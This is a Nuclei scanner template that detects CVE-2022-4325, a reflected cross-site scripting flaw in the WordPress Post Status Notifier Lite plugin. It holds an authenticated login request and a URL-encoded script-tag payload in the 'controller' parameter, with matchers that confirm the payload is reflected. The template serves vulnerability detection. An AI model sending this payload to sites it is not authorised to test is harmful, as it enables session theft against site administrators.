id: CVE-2022-4325

info:
  name: WordPress Post Status Notifier Lite <1.10.1 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    WordPress Post Status Notifier Lite plugin before 1.10.1 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow the attacker to steal cookie-based authentication credentials and launch other attacks. This vulnerability can be used against high-privilege users such as admin.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: Fixed in version 1.10.1.
  reference:
    - https://wpscan.com/vulnerability/5b983c48-6b05-47cf-85cb-28bbeec17395
    - https://wordpress.org/plugins/post-status-notifier-lite/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4325
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-4325
    cwe-id: CWE-79
    epss-score: 0.00078
    epss-percentile: 0.32657
    cpe: cpe:2.3:a:ifeelweb:post_status_notifier_lite:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: ifeelweb
    product: post_status_notifier_lite
    framework: wordpress
  tags: cve,cve2022,wp,wordpress,wpscan,authenticated,xss,wp-plugin,post-status-notifier-lite,ifeelweb

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/options-general.php?page=post-status-notifier-lite&controller=%3Cscript%3Ealert%28%60document.domain%60%29%3C%2Fscript%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - 'contains(body_2, "<script>alert(`document.domain`)</script>")'
          - 'contains(body_2, "Post Status Notifier Lite")'
        condition: and
# digest: 490a0046304402205206499c7d6a2bedfe29a673b7c4c487f6357884ab5336b30c33d3f7116b4bfd02202e13bd6b2db15b9f638ba8688c91867f9730b8e4efa5df27dbf609ff6a0196f4:922c64590222798bb761d5b6d8e72950